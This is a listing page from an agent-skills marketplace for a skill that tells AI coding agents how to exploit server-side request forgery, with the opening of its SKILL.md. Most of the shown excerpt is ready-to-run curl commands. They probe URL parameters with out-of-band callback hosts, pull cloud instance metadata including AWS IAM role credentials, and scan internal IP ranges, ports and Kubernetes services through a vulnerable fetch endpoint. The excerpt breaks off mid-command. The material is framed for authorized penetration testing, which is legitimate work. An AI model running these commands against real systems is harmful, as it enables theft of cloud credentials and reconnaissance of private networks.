exploiting-server-side-request-forgery
Identifying and exploiting SSRF vulnerabilities to access internal services, cloud metadata, and restricted network resources during authorized penetration…
Skill by 2003gdb
Install
Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.
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About
Use cases: backend
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Permissions
What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.
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Network hosts it talks to 1
codeload.github.com· found in install command
Files it touches
~/.claude/skills/exploiting-server-side-request-forgery
What's inside
- Skill name
exploiting-server-side-request-forgery- Description
- Identifying and exploiting SSRF vulnerabilities to access internal services, cloud metadata, and restricted network resources during authorized penetration tests.
- License
- Apache-2.0
- Instructions
- 327 lines in SKILL.md · view on GitHub
Before installing
- Instructions call the network
Files (1)
- SKILL.md
SKILL.md (first lines)
# Exploiting Server-Side Request Forgery
## When to Use
- During authorized penetration tests when the application fetches URLs provided by users (webhooks, URL previews, file imports)
- When testing cloud-hosted applications for access to instance metadata services
- For assessing PDF generators, screenshot services, or any feature that renders external content
- When evaluating microservice architectures for internal service access via SSRF
- During security assessments of APIs that accept URL parameters for data fetching
## Prerequisites
- **Authorization**: Written penetration testing agreement including SSRF testing scope
- **Burp Suite Professional**: With Collaborator for out-of-band detection
- **interactsh**: Open-source OOB interaction server (`go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest`)
- **SSRFmap**: Automated SSRF exploitation framework (`git clone https://github.com/swisskyrepo/SSRFmap.git`)
- **curl**: For manual SSRF payload testing
- **Knowledge of target infrastructure**: Cloud provider (AWS, GCP, Azure), internal IP ranges
## Workflow
### Step 1: Identify SSRF-Prone Functionality
Map all application features that make server-side HTTP requests.
```bash
# Common SSRF-prone features:
# - URL preview/unfurling (Slack-like link previews)
# - Webhook configuration endpoints
# - File import from URL (import CSV from URL)
# - PDF/screenshot generation from URL
# - Image/avatar fetching from URL
# - RSS/feed aggregation
# - OAuth callback URLs
# - API proxy/gateway features
# Test a URL parameter with Burp Collaborator
# Replace URL values with Collaborator payload
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"url":"http://abc123.burpcollaborator.net/ssrf-test"}' \
"https://target.example.com/api/fetch-url"
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"webhook_url":"http://abc123.oast.fun/webhook"}' \
"https://target.example.com/api/webhooks"
# Test URL in various parameter names
for param in url uri link href src dest redirect callback webhook \
image_url avatar_url feed_url import_url proxy_url; do
echo "Testing param: $param"
curl -s -o /dev/null -w "%{http_code}" \
"https://target.example.com/api/fetch?${param}=http://abc123.oast.fun/${param}"
done
```
### Step 2: Access Cloud Instance Metadata
Test SSRF payloads targeting cloud provider metadata services.
```bash
# AWS EC2 Metadata (IMDSv1)
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
"https://target.example.com/api/fetch-url"
# AWS - Get IAM role credentials
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
"https://target.example.com/api/fetch-url"
# GCP Metadata
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://metadata.google.internal/computeMetadata/v1/"}' \
"https://target.example.com/api/fetch-url"
# Azure Metadata
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/metadata/instance?api-version=2021-02-01"}' \
"https://target.example.com/api/fetch-url"
# DigitalOcean Metadata
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/metadata/v1/"}' \
"https://target.example.com/api/fetch-url"
```
### Step 3: Scan Internal Network via SSRF
Use the SSRF vulnerability to discover internal services and ports.
```bash
# Internal network scanning - common private ranges
for ip in 127.0.0.1 10.0.0.1 172.16.0.1 192.168.1.1; do
for port in 22 80 443 3000 3306 5432 6379 8080 8443 9200 27017; do
echo -n "$ip:$port -> "
response=$(curl -s --max-time 3 -X POST \
-H "Content-Type: application/json" \
-d "{\"url\":\"http://$ip:$port/\"}" \
"https://target.example.com/api/fetch-url")
echo "$response" | head -c 100
echo
done
done
# Kubernetes internal services
for svc in kubernetes.default.svc \
kubernetes-dashboard.kubernetes-dashboard.svc \
kube-dns.kube-system.svc; do
curl -s --max-time 3 -X POST \
-H "Content-Type: application/json" \From 2003gdb/My-Claude-Workflows, Apache-2.0.
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Signals
- Stars
- 0
- Forks
- 0
- Open issues
- 0
- Last commit (this folder)
- May 16, 2026 (5 months ago)
From GitHub (fetched Oct 24, 2026).
Details
- License
- Apache-2.0
- Repository
- github.com/2003gdb/My-Claude-Workflows
- First seen
- Oct 24, 2026
- Last checked
- Oct 24, 2026
- Source
- GitHubgithub-graphql
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Cite this page
exploiting-server-side-request-forgery skill. Agent Mart. https://agentmart.dev/skills/2003gdb-exploiting-server-side-request-forgery (last updated 2026-10-24)